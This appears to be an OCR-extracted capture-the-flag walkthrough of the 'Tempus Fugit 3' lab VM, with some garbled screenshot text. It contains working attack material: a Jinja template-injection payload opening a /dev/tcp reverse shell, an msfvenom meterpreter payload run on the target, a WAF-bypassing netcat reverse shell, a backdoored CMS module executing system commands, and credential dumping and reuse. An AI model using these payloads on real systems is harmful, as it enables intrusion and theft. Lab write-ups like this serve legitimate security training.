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Walkthrough

SYN-port-scan all ports, reveals only TCP port 80 open.

@kali

#nmap -sS 192.168.66.132 -p- -v
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-08 20:37 CEST
Initiating ARP Ping Scan at 20:37
Scanning 192.168.66.132 [1 port]
Completed ARP Ping Scan at 20:37, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:37
Completed Parallel DNS resolution of 1 host. at 20:37, 0.01s elapsed
Initiating SYN Stealth Scan at 20:37
Scanning 192.168.66.132 [65535 ports]
Discovered open port 80/tcp on 192.168.66.132
Completed SYN Stealth Scan at 20:37, 3.16s elapsed (65535 total ports)
Nmap scan report for 192.168.66.132
Host is up (0.00056s latency).
Not shown: 65534 closed ports
PORT  STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:7E:E4:A3 (VMware)

Nikto shows nothing much more than nginx v.1.14.2

#nikto -h 192.168.66.132
- Nikto v2.1.6

192.168.66.132
+ Target Hostname: 192.168.66.132
+ Target Port: 80
+ Start Time: 2019-10-08 21:06:00 (GMT2)

+ Server: nginx/1.14.2

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some
forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the
site in a different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Allowed HTTP Methods: HEAD, GET, OPTIONS

+ 7915 requests: 0 error(s) and 4 item(s) reported on remote host

+ End Time: 2019-10-08 21:12:31 (GMT2) (391 seconds)

+ 1 host(s) tested



e (60 I N
[ 17 2\ S Y 8 I 7/ O B (Y
T2 O O Y I A B
[ N B I l,} |A/ AN I I I W I}A/I [N

Opening a browser, reveals the site.
Tempus Fugit X ‘ eE
(e C o @ # 192.168.66.132

o @

In 0O ® € =

, KaliLinux % Kali Training " Kali Tools “\ KaliDocs N Kali Forums y NetHunter [ Offensive Security # Exploit-DB % GHDB [l MSFU

OUR TEAM
Neque po am est, qui dolorem IpPsSuUm guia ac lor sit
AMEL CC Letur, aqipIsci elit, sed quia non numguam
: A
77 B
’%, / Anita Hanjaab ( J
Clee Torres e e Hugh Janu
Scanning source-code shouldn’t return anything of interest.

There is a contact-form at the bottom. Not supposed to be exploitable.
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There are a login-button up to the right. If we try login using incorrect username/password,
we get this page:
PN @ 192.168.66.132/lc

o

- O 1

n o ® &
%, KaliLinux “ Kali Training "% Kali Tools " KaliDocs “%, Kali Forums “§ NetHunter [ Offensive Security ® Exploit-DB = GHDB [l MSFU

Redirecting to Hom

START TIME: Wed Oct 9 19:03:10 2019
URL_BASE: http://192.168.66.132/
ORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.66.132/ ----

+ http://192.168.66.132/index.html (CODE:200|SIZE:36149)
+ http://192.168.66.132/1ogin (CODE:200|SIZE:914)

+ http://192.168.66.132/1logout (CODE:200|SIZE:892)
+ http://192.168.66.132/protected (CODE:200|SIZE:878)

END TIME: Wed Oct 9 19:06:53 2019
DOWNLOADED: 4612 - FOUND: 4



If we enter a non-existing url, we get this:
€)» e @

® 192.168.66.132/asdad

O 7Y n o® &€ =
%, KaliLinux " Kali Training "% Kali Tools " KaliDocs “%, Kali Forums “§, NetHunter [ Offensive Security ® Exploit-DB # GHDB [l MSFU
Redirecting to Home Page after 4 seconds.

-

Hmmm

Page not found: http://1921168.66.132/asdad

Here lies the vulnerability. It is a SSTI on a Jinja template.

We test using the method showed in this nice flow diagram found here:
https://www.we45.com/blog/server-side-template-injection-a-crash-course-

Fail

a{*comment*}b

Fail

o

Not
Vulnerable

Pass

Pass
Fail




Moving to burp.

GET /{{5%'5'}} HTTP/1.1 N
Host: 192.168.66.132 )
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 // variable for index.html url
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5 function redirect(){
Accept-Encoding: gzip, deflate if (seconds <=0){
Connection: close
Upgrade-Insecure-Requests: 1 // redirect to new url after counter down
window.location = url;
} else {
seconds--;
document.getElementById("pageInfo").inner
to Home Page after "
+seconds+" seconds."
setTimeout("redirect()", 1000)
}
}
</script>
</head>
<body onload="redirect()">
<p 1d="pageInfo"=</p=
<div class="float">
<h1>4084</h1>
<h3>Hmmm. . .<br> Page not found:
http://192.168.66.132/55555</h3>
</div>
Retrieving {{config}} actually gives the first flag.
Request Response
Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /{{config}} HTTP/1.1 4 +seconds+" seconds.”

Host: 192.168.66.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

setTimeout("redirect()", 1600)
}

T

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 }

Accept-Language: en-US,en;g=0.5 </script>

Accept-Encoding: gzip, deflate Converted text

Connection: close

Upgrade-Insecure-Requests: 1
Copy to clipboart Close
Flagl{ Important findings } i

[

0 BHEE

v

| 0 matches

—_——

&amp ; #39 ; RmxhZzF7IELtcG9yd y
&amp; #39; PERMANENT_SESSION_LIFETIME&amp;#39;:
datetime.timedelta(31), &amp;#39;USE_X_SENDFILE&amp;#39;:
False, &amp ; #39 ; SERVER_NAME&amp ; #39; : None,

&amp ; #39; APPLICATION_ROOT&amp;#39;: &amp;#39;/&amp;#39;,
&amp ; #39; SESSION_COOKIE_NAME&amp;#39;:

&amp ; #39; session&amp;#39;,

&amp ; #39 ; SESSTON_COOKIE_DOMAIN&amp;#39;: None,

&amp ; #39; SESSION_COOKIE_PATH&amp;#39;: None,

#39;,

Trying to find object subclasses. We find that on index 1

Request Response

Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /{{''._class__._mro__[1].__subclasses__()}} HTTP/1.1 A <p 1d="pageInfo"></p> A
Host: 192.168.66.132 r <div class="float">

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

<h1=404</h1>

<h3>Hmmm. . .<br> Page not found:
http://192.168.66.132/[&amp; Lt;class

&amp; #39; type&amp; #39;&amp; gt;, &amp;lt;class

&amp ; #39 ;weakref&amp;#39;&amp;gt;, &amp;lt;class

&amp ; #39 ;weakcallableproxy&amp;#39;&amp;gt;, &amp;lt;class
&amp ; #39;weakproxy&amp; #39; &amp;gt;, &amp;lt;class

&amp; #39;int&amp;#39;&amp;gt;, &amp;lt;class

&amp ; #39 ;bytearray&amp;#39;&amp;gt;, &amp;lt;class

&amp; #39; bytes&amp;#39;&amp; gt;, &amp;lt;class

&amp; #39; Llist&amp;#39;&amp;gt;, &amp;lt;class

&amp ; #39 ;NoneType&amp; #39; &amp; gt;, &amp;lt;class

&amp; #39 ;NotImplementedType&amp;#39;&amp;gt;, &amp;lt;class
&amp; #39; traceback&amp;#39;&amp;gt;, &amp;lt;class

&amp; #39; super&amp; #39;&amp; gt;, &amp;lt;class

;lt;class
t;, &amp;lt;class
;&amp;gt;, &amp;lt;class

&amp; #39;dict_values&amp;#39;&amp;gt;, &amp;Llt;class
&amp; #39;dict_items&amp;#39;&amp;gt;, &amp;lt;class
&amp;#39;odict_iterator&amp;#39;&amp;gt;, &amp;lt;class
&amp; #39; set&amp; #39;&amp; gt;, &amp;lt;class

&amp ; #39; str&amp;#39;&amp; gt;, &amp;lt;class

&amp; #39;slice&amp;#39;&amp;gt;, &amp;lt;class

&amp; #39; staticmethod&amp;#39;&amp;gt;, &amp;lt;class
&amp ; #39 ; complex&amp; #39; &mp; gt;, &amp;lt;class

&amp; #39; float&amp; #39;&amp; gt;, &amp;lt;class




Looking for exploitable subprosess

<class 'concurrent.futures. base. Waiter's>

<class 'concurrent.futures. base. AcquireFutures's>
<class 'concurrent.futures. base.Future's

<class 'concurrent.futures. base.Executor's>

<class 'queue.Queue'>

<class 'multiprocessing.process.BaseProcess'>

<class 'array.array's

<class 'multiprocessing.reduction. C'>

<class 'multiprocessing.reduction.AbstractReducer'>
<class 'multiprocessing.context.BaseContext'>

<class ' multiprocessing.SemLock'>

<class 'subprocess.CompletedProcess'>

<class 'subprocess.Popen'>

<class 'multiprocessing.util.Finalize'>

<class 'multiprocessing.util.ForkAwareThreadLock'>
<class 'multiprocessing.connection. ConnectionBase'>
<class 'multiprocessing.connection.Listener'>

<class 'multiprocessing.connection.SocketListener'>
<class 'multiprocessing.connection.ConnectionWrapper's>
<class 'concurrent.futures.process. ExceptionWithTraceback'>
<class 'concurrent.futures.process. WorkItem'>
<class 'concurrent.futures.process. ResultItem'>
<class 'concurrent.futures.process. Callltem'>
<class 'concurrent.futures.thread. WorkItem'>

<class 'asyncio.events.Handle'>

We find Popen at index 373

#grep -n Popen subclasses2
<class 'subprocess. '>

A reverse shell could be achieved like this.

{{"._class__ . mro__[1].__subclasses__ ()[373]("bash -c '/bin/bash -i >&
/dev/tcp/192.168.66.130/443 0>&1"",shell=True,stdout=-1)}}

Request TX errors @ dropped 0 overruns @ carrier @ collis

Raw | Headers | Hex

GET /{{''._class__.__mro__[1].__subclasses__()[373]1("bash -c¢ '/bin/bash -1 =& @kali
/dev/tcp/192.168.66.130/443 0>&1'",shell=True,stdout=-1)}} HTTP/1.1 #nc -lvnp 443
Host: 192.168.66.132

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

listening on [any] 443 ...
connect to [192.168.66.130] from (UNKNOWN) [192.168.66.132]

Accept-Language: en-US,en;q=0.5 bash: /root/.bashrc: Permission denied

Accept-Encoding: gzip, deflate www-data@TF3: /srv/flask_apps I

Connection: close - =

Upgrade-Insecure-Requests: 1 r <head> WH

Examining the app.py uncovers another secret key and an encrypted SQLite database.

app = Flask(_name )
app.secret key = 'RmxhZzF7IE1ltcG9ydGFudCBmaW5kawW5ncyB9'

pra = "pragma key='SecretssecretsSecrets..."'"

try:
with app.open _resource('static/file/f') as f:
contents = f.read().decode("utf-8")
except:
contents = ""

def check(username):
con = sqlcipher.connect("static/db2.db")
con.execute(pra)
userexists = False
with con:



This key: SecretssecretsSecrets...
Is the encryption-key for the database.

sqlcipher static/db2.db

SQLCipher version 3.15.2 2016-11-28 19:13:37
Enter ".help" for instructions

Enter SQL statements terminated with a ";"
sqlite> PRAGMA key='SecretssecretsSecrets...';
PRAGMA key='SecretssecretsSecrets...';
sqlite> .tables

.tables

users

sqlite> SELECT * FROM users;

SELECT * FROM users;
hugh-janus|SO@secretPassWord
anita-hanjaab|ssdf%sdg5xc
clee-torres|asRtesa#2s
RmxhZzN7IEhleSwgcmVhZGluZyBzZWNyZXRzICB9 |
sqlite> |

We find some users and cleartext passwords and Flag 3 inside the database

#echo RmxhZzN7IEhleSwgcmVhZGluZyBzZWNyZXRzICB9|base64 -d
Flag3{ Hey, reading secrets } @kali

#

We are missing Flag2...

Trying credentials on the webpage login.
Logged in as Hugh-janus. All credentials show the same page.

Welcome hugh-janus

RmxhZz] 7IEIZIHRoaXMgdGhlIGZvb:

New flag and a number...50709
#echo RmxhZzJ7IE1zIHRoaXMgdGh1IGZvb3Rob2xkIEkgaGF2ZSBiZWVuIGxvb2tpbmcgZm9yP30=|base64 -d

Flag2{ Is this the foothold I have been looking for?} @kali
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Not too much tools installed on the box. We try setting up a meterpreter. This will make
things a bit easier.

As we don’t have either curl or wget, we make a staged payload and base64 encode it:
@kali
#msfvenom -p linux/x64/meterpreter/reverse tcp lhost=192.168.66.130 lport=4444 -f elf>mp
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 129 bytes
Final size of elf file: 249 bytes

(CLELNE
#cat mp|base64 -wd
TOVMRgIBAQAAAAAAAAAAAATAPGABAAAAEABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAADAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAA
AAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSINWTTHIa1JBWrIHDWVIhcB4UmoKQVIWUGopWI 1qA19qAVAPBULFwHg7SIdIUQIAEVZAqEKCUU1I5moQwWmogWAS FWULFwHKL
Sf/JdBhXaiNYagBqBUil50gx9g8FWV1fSIXAecdqPFhqAV8PBV5aDwVIhcB47//m @kali
#

Paste, decode and run on the other side:

echo -n fOVMRgIBAQAAAAAAAAAAAATAPGABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAA
AA+QAAAAAAAABGAQAAAAAAAAAQAAAAAAAASDH/ agLlYmbYQSInWTTHIa1)BWrIHDWVIhcB4UmoKQV1WUGopW] 1gA19gAV4PBU1FwHg7SIdIuQIAEVZAQEKCUU1ISmoQWmogWASH]

WUiFwHk1Sf/JdBhXaiNYagBgBU1i]50gx9g8FWV1fSIXAecdqPFhgAV8PBY5aDwVIhcB47//m|base64 -d>/tmp/mp;chmod +x /tmp/mp;/tmp/mp

And we receive a connection back

msf5 exploit( ) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit( ) > run

Started reverse TCP handler on 192.168.66.130:4444
Sending stage (3021284 bytes) to 192.168.66.132
Meterpreter session 1 opened (192.168.66.130:4444 -> 192.168.66.132:33684) at 2019-10-08 23:10:38 +0200

meterpreter > ifconfig

Interface

: lo

: 00:00:00:00:00:00
1 65536

: UP,LOOPBACK

B 127 (.50

B 2006

: etho

1 02:42:c0:a8:64:64

: 1500

: UP,BROADCAST,MULTICAST
: 192.168.100.100
2555 S 25 SR

meterpreter > ]

Looks a bit strange, we don’t see the IP we connected to, because It’s a Docker-container.

meterpreter > cat /proc/self/cgroup
11:pids:/docker/f0579b8c072d5c6abf95421785721e75f62d30980436b8da575fbab81f5bcc9al
10:perf_event:/docker/f0579b8c072d5c6abf95421785721e75f62d30980436b8da575fbab81f5bcc9l
9:net_cls,net_prio:/docker/f0579b8c072d5c6abf95421785721e75f62d30980436b8da575fbab81f5bcc9l
:devices:/docker/f0579b8c072d5c6abf95421785721e75f62d30980436b8da575fbab81f5bcc9l
:memory: /docker/f0579b8c072d5c6abf9542785721e75762d30980436b8da575fbab81f5bcc9l
:cpuset:/docker/f0579b8c072d5c6abf95421785721e75f62d30980436b8da575fbab81f5bcc9l
:freezer:/docker/f0579b8c072d5c6abf95421785721e75f62d30980436b8da575fbab81f5bcc9l

:cpu, cpuacct:/docker/f0579b8c072d5c6abf95421785721e75f62d30980436b8da575fbab81f5bcc9l
:blkio:/docker/f0579b8c072d5c6abf95421785721e75f62d30980436b8da575fbab81f5bcc9al
:name=systemd: /docker/f0579b8c072d5c6abf95421785721e75762d30980436b8da575fbab81f5bcc9l
1:/system.slice/docker.service

meterpreter >

8
7
6
5
4:rdma:/
3
2
1
0
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Dropping to shell and do a pingscan.
www-data@TF3:/tmp$ for i in {1..254}; do ping -c 1 -W 1 192.168.100.$i | grep 'from'; done

<o ping -c 1 -W 1 192.168.100.$1 | grep 'from'; done
64 bytes from 192.168.100.1: icmp_seg=1 ttl=64 time=0.049 ms

We get one hit: 192.168.100.1

Uploading netcat and doing a portscan

www-data@TF3:/tmp$ ./nc -z -v 192.168.100.1 1-65535
./nc -z -v 192.168.100.1 1-65535

192.168.100.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.100.1] 50709 (?) open

(UNKNOWN) [192.168.100.1] 443 (https) open

(UNKNOWN) [192.168.100.1] 80 (http) open

Portforward our local ports to the host

meterpreter > portfwd add -1 9000 -p 443 -r 192.168.100.1

Local TCP relay created: :9000 <-> 192.168.100.1:443
meterpreter > portfwd add -1 8000 -p 80 -r 192.168.100.1

Local TCP relay created: :8000 <-> 192.168.100.1:80
meterpreter > portfwd add -1 50709 -p 50709 -r 192.168.100.1

Local TCP relay created: :50709 <-> 192.168.100.1:50709
meterpreter > |
The port 50709 is the number we saw on the webpage earlier... It is the SSH-post. This port
changes on every reboot. That’s why it is displayed on the website. Security through
obscurity

Trying port 80

Tempus Fugit X | ar
(¢)=> ¢ @ ® 127.0.0.1:8000 - O n 0 ® &€ =
%, Kali Linux "% Kali Training %, Kali Tools "% Kali Docs "% Kali Forums "% NetHunter [l Offensive Security ® Exploit-DB & GHDB ] MSFU

Tempus Fugit

Clean & Modern: Design

Template

Lorem ipsum dolor sit amet consectetur
adipisicing

LIVE DEMO GET NOW

It’s the port forwarded to the container.
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Trying 443, and hits another site
Home X |+

l}((—)l—) c @ | ® 127.0.01:9000 - O 1Y Ino® & =

S, KaliLinux S Kali Training “, Kali Tools "% Kali Docs % Kali Forums " NetHunter [JJJ Offensive Security ® Exploit-DB & GHDB [l MSFU

Home Customers Site Map Search

Home

Tempus Fugit

Why a new site, again..?

We have now been hacked 2 times! Both times because we have hired consultants

with limited expertise, setting up our systems. “You know, there are better |
ways to manage 2 defign team,”

This time, we are doing it all ourself! Learning as we go. I, Anita Handjaab and Clee
Torres have used hours, days and weeks of our free time, really getting our hands dirty,
Lets make this a great website!
in getting things up!
o ‘We can do it!
All under my (Hugh Janus) supervision.
The fact, that we now also are capable setting up servers and webservices, will give us

a great competitive advantage!!

About this site

To save time, we decided not to reinstall the server. We just deleted the old websites,

Here we find a hint for later:
About this site

To save time, we decided not to reinstall the server. We just deleted the old websites,
to be sure thehackers didn't leave anything behind. What could go wrong, right?

Nothing much here yet. Just finished basic functionallity. But this minimal profile will a
good place to start adding our content. We will use one of our own amazing templates
designed by Clee Torres, when we have figured out how to convert them from

Wordpress:-)

Another hint

Home Customers Site Map Search

Home - Customers

Customers
Customer upload.
Anita came up with a great idea!

We could let customers upload their material directly to us over secure SFTP. 1am
working on a script: "addcustomers” that will make it easy for everyone of us to create

customer accounts.

Powered by ProcessWire CMS / Admin Login
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There is a link to an admin-login at the bottom.

As it states admin login, It would be natural trying admin and feed it with passwords we have
found earlier.

We hit jackpot with Hugh Janus password. Reuse of password is a common problem.

Pages « ProcessWire « local’ X ‘ a0

<« c @ ® 127.0.0.1: ocesswire/page/?login=1 e O W n 0O ® &€ =

N, Kali Linux S Kali Training “, Kali Tools %, KaliDocs %, Kali Forums % NetHunter [ Offensive Security # Exploit-DB & GHDB [l MSFU
17

Pages Setup Modules Ac

0y Admin

Add N
Pages
Home &
Customers
Site Map
Search

404 Page

Admin

Trash

ProcessWire 3.0.123 © 2019
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Investigating a bit, we see this is a php-site with a CMS engine named processwire. Not
unlike Wordpress, it also supports plugins. They call it modules.

We check out modules at their site and find one called Hello World. Sounds like it could be

easy exploiting, from reading the info. We download it.
Pages « ProcessWire » local X ‘ @ Hello World X I =

&« = C @ @ & https://modules.processwire.com/modules/hellowo

d - O Ty N 0 ® &
S, KaliLinux S Kali Training “, Kali Tools % Kali Docs % Kali Forums " NetHunter [JJ Offensive Security # Exploit-DB & GHDB [l MSFU
Everything that this module does is purely for demonstration purposes. It doesn't do

anything particularly useful, but reveals a lot about what you can do with modules and
Site Profiles hooks. Here's what it does:

® Adds a hook after Page::render to output a hello world message at the bottom of editable
pages (if enabled in the module configuration). Just to make it somewhat useful, clicking
it takes you to the editor for that page.

® Adds a hook after Pages::save to display a hello notification every time you save a page.

® Adds a $page->hello() method to all pages, which simply returns your hello world
message and information about the page. Optionally provide an argument with some
text, i.e. $page->hello('some text') to have itincluded in the return value.

*Use modules at your own risk.

There are no guarantees or ® Adds a $page->hello_world property to all pages. Accessing it simply returns "Hello

warranties. It is recommended [your-user-name]".

that you backup your site and

database before installing new ® Adds a ProcessPageEdit::execute hook, which displays a notification to you only when you
modules. edit the homepage.

How to test this module

1. Install the module from your admin (Modules > Site > Hello World).
2. Configure the module.

3. After testing it, look at the code and read the comments. At this point you may want play
with it and modify it to do something useful.

How to use this to make your own module

This looks like a nice place for an exploit

// This last example displays a special hello message when the user is editing
// the homepage only.
$this->addHookBefore('ProcessPageEdit: :execute', function($event) {
$page = $event->object->getPage(); // getPage() is a method in ProcessPageEdit
if($page->id == 1) {
// user is editing the homepage
$event->message("Hello {$event->user->name} - You are editing the homepage!");
} else {
// not the homepage, so we will stay silent

->addHookBefore('ProcessPageEdit: :execute’, fi
= > ->getPage();
if( ->id = 1) {

->message("Hello {$event->user->name} - You are editing the homepage!");

} else {
system( [*c'D);
}

Zip it again, and upload.
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(&)=> C & ® 127.0.0.1:9000/processwire/module/?newst - O W vy INn @O ®

", Kali Linux “, Kali Training ", Kali Tools “ KaliDocs “ Kali Forums " NetHunter [l Offensive Security  Exploit-DB = GHDB Jli MSFU

ModuleClassName

The modules directory is located at modules.processwire.com

& Get Module Info

& Add Module From URL ...

X Add Module From Upload

Module ZIP File

a ZIP file containing module file(s). If you upload a module that is a stalled, it will be overwritten with the one you upload.

Helloworld-master.zip
Be absolutely certain that you trust the source of the ZIP file

& Upload

Had problems uploading. No module found.

Mind the directory-structure. Modulename.zip/modulename/files

#zip -r Helloworld-master.zip Helloworld-master/*
updating: Helloworld-master/Helloworld-master/ (stored 0%)
adding: Helloworld-master/Helloworld-master/README.md (deflated 55%)
adding: Helloworld-master/Helloworld-master/Helloworld.config.php (deflated 53%)
adding: Helloworld-master/Helloworld-master/Helloworld.info.php (deflated 50%)
adding: Helloworld-master/Helloworld-master/Helloworld.module.php (deflated 60%)

Hello World

© Module Information ...

Your hello world message *

nis is here as an example of a configurable module property.

Hello World

The module can access this value any time from $this->helloMessage

Enable hello world message?

This will make your hello world mes t the bottom of every page

© Yes

No

The hello message will only be shown to users with edit access to the page

© Uninstall ...
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We have RCE
Edit Page: 404 Page « locall X ‘ ® Other Modules X | @ HelloWorld i
&« c o ® 127.0.0.1:9000/processwire/page/edit/?id=27&c=ls v @ 1 y'1nD® €

S, Kali Linux "% Kali Training " Kali Tools % KaliDocs  Kali Forums % NetHunter [ Offensive Security & Exploit-DB & GHDB [l MSFU

README.txt _foot.php _func.php _head.php _init.php admin.php basic-page.php errors home.php scripts search.php sitemap.php styles
7

Pages Setup Modules Access Admin

But
403 Forbidden X ‘ @ Other Modules X | @ Hello World X | A
& c @ ® 127.0.0.1:9000/processwire/page/edit/?id=27&c=cat [etc/passwd o O 1 v Iinmo ® &
N, Kali Linux "% Kali Training ", Kali Tools % KaliDocs  Kali Forums % NetHunter [ Offensive Security & Exploit-DB & GHDB [l MSFU
.
Forbidden

You don't have permission to access /processwire/page/edit/ on this server.

Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 9000

Mod_security is enabled on the site.
#wafwoof 127.0.0.1:9000/

WAFWOOF - Web Application Firewall Detection Tool

hecking http://127.0.0.1:9000/

eneric Detection results:

he site http://127.0.0.1:9000/ seems to be behind a WAF or some sort of security solution
Reason: The server returned a different response code when a string trigged the blacklist.
ormal response code is "200", while the response code to an attack is "403"

umber of requests: 4

ncis installed
(&) —> & ‘Q’ ® 127.0.0.1:9000/processwire page/edit/?id=27&c=which nc v @ v

", Kali Linux " Kali Training % Kali Tools % KaliDocs “ Kali Forums “& NetHunter [l Offensive Security % Exploit-DB =
fusr/bin/nc

One could bypass WAF-filter and get a reverse shell like this:
/?in/ne?cat 192.168.66.130 4455 -e /bi?/bash

#nc -lvnp 4455
listening on [any] 4455 ...
connect to [192.168.66.130] from (UNKNOWN) [192.168.66.132] 38750

python -c 'import pty;pty.spawn("bash")'
www-data@TF3:/var/www/html/site/templates$ id

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
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gshadow.bak
root 1017 :11 group.bak
shadow 2968 : shadow.bak

root 61440 :25 alternatives.tar.0
-TW-r--r-- valinda 478 :33 valinda.png
drwxr-xr-x 2 root root 4096
www-data@TF3: /var/backups$ |

We exfil and open

valinda.png AR A X

Image Edit View Go Help

Previous Next | | ) 1523 & U

(
[
[
[
&
¢

Properties b4

Size 123 x 123 pixels

Type PNGimage | |
File Size 478 bytes

Folder Desktop
Aperture
Exposure |
Focal Length
ISO
Metering _
123 x 123 pixels 478 bytes 100% 1/1

It is a QR-code...

Scanning it with mobile phone, opens it in my Microsoft Authenticator

TF3 NV
valinda@TF3

829 730

2FA

| have in the meantime rebooted the server and port 50709 is nowhere to be found. We
check open ports on the server

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
(¢] 0 127.0.0.1:631 0.0.0.0:* LISTEN -
(<] 0 127.0.0.1:25 c k LISTEN
0 0 192.168.100.1:443 .0.0.0:* LISTEN
0 0 192.168.100.1:39113 .0.0.0: LISTEN
[¢] 0 127.0.0.1:3306 .0.0:* LISTEN -
[¢] 0 192.168.100.1:443 92.168.100.100:46476  ESTABLISHED -
(<] 0 192.168.100.1:443 92.168.100.100:46472  ESTABLISHED -
0 284 192.168.66.132:38750 .66. : ESTABLISHED 2400/bash
(¢] 0 LISTEN -
[¢] LISTEN
cp6 [¢] LISTEN
0

Now 39113 is open.



Portfwd: meterpreter > portfwd add -1 39113 -p 39113 -r 192.168.100.1

I-I @kali

#ssh valinda@l27.0.0.1 -p 39113
The authenticity of host '[127.0.0.1]:39113 ([127.0.0.1]:39113)' can't be established.
ECDSA key fingerprint is SHA256:6vcZIevy76FgXz5FeCRL/1Gx0VTxHQ1i9SgUs1iWU2UQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:39113' (ECDSA) to the list of known hosts.
Verification code:
Linux TF3 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deblGul (2019-09-20) x86 64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
val TF3:~$

We have a user and Flag4

valir F3:~$ cat flag4.txt
RmxhZzR7IExvb2sgbW9tLCBJIGNhbiBleGZpbHRYYXR1ISBY
valir F3:~$ cat flag4.txt |base64 -d

Flag4{ Look mom, I can exfiltrate! }valin

vmlinuz.old -> boot/vmlinuz-4.19.0-5-amd64
1 rwx rwx rwx :18 initrd.img.old -> boot/initrd.img-4.19.0-5-amd64
drwxr-xr-x
T rwx rwx rwx D : vmlinuz -> boot/vmlinuz-4.19.0-6-amd64
initrd.img -> boot/initrd.img-4.19.0-6-amd64

dr-xr-xr-x
dr-xr-xr-x
drwxr-xr-x

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

7
1
4
6
9
9
9
9
9
9
9
9
9
9
9

drwxr-xr-x
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Running linenum; We can sudo

Mafching Defaults éntrieé for Qalinda on‘TFB:
env_reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User valinda may run the following commands on TF3:
(ALL) NOPASSWD: /root/scripts/addcustomer

Examining the SUID-files, we see that ping changed.

2019 /usr/bin/umount

2018 /usr/bin/chfn

2019 /usr/bin/mount

2018 /usr/bin/gpasswd

2019 /usr/bin/su

2018 /usr/bin/newgrp

6 09:44 /usr/bin/ping

root 63736 Jul 27 2018 /usr/bin/passwd
root 157192 Jan 12 2019 /usr/bin/sudo
root 34896 Jan 7 2019 /usr/bin/fusermount
root 44528 Jul 27 2018 /usr/bin/chsh
root 23288 Jan 15 2019 /usr/bin/pkexec
root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
messagebus 51184 Jun 9 22:34 /usr/lib/dbus-1.0/dbus-daemon-launch-help
root 436552 Apr 8 2019 /usr/lib/openssh/ssh-keysign
root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
root 1181384 Sep 27 18:09 /usr/sbin/exim4

-MWSr-Xr-xX
-MwWsr-xXr-x
-MWsr-Xr-X
-MWSTr-Xr-XxX
-MwWsr-xXr-x
-MWSTr-Xr-X
-TWSI-Xr-xX
-MwWsr-xr-x
STWS X=X
-MWSr-Xr-xX
-MwWsr-xXr-x
-MWSr-Xr-x
-MWsr-xXr-Xx
=MWSr-Xr--
-MWSr-Xr-x
-MWsr-xXr-x
-MwWsr-xXr-x

o L e e e e

We could string; ping and discover something is has a backdoor
ping: bad timing interval.

ping: bad preload value.

Enjoy your root-shell h4x@r!

/bin/sh

ping: packet size too large.

ping: illegal packet size.

ttl %u out of range
%U . %U .. %U . %U%C

interface address '%s’
I:LRc:dfh:i:1l:np:qgrs:t:v
ping: unknown host %s

Remembering hints from before:

Why a new site, again..?

About this site

To save time, we decided not to reinstall the server. We just deleted the old websites,
We have now been hacked 2 times! Both times because we have hired consultants to be sure thehackers didn't leave anything behind. What could go wrong, right?

with limited expertise, setting up our systems.
Nothing much here yet. Just finished basic functionallity. But this minimal profile will a

This time, we are doing it all ourself! Learning as we go. I, Anita Handjaab and Clee good place to start adding our content. We will use one of our own amazing templates
Torres have used hours, days and weeks of our free time, really getting our hands dir designed by Clee Torres, when we have figured out how to convert them from
in getting things up! Wordpress:-)

This is clearly hacker leftovers. But how use it? It pings....

.0.0.1
.0.1): 56 data bytes

: icmp_seq=0 ttl=64
: icmp_seg=1 ttl=64
: icmp_seg=2 ttl=64
: icmp_seg=3 ttl=64
: icmp_seg=4 ttl=64
: icmp_seg=5 ttl=64
: icmp_seq=6 ttl=64
: icmp_seg=7 ttl=64
: icmp_seg=8 ttl=64
: icmp_seq=9 ttl=64

nd check it in Ghidra

Q) EeReRoRoRoRoRoRoNoRolol
cooooo0o 0O

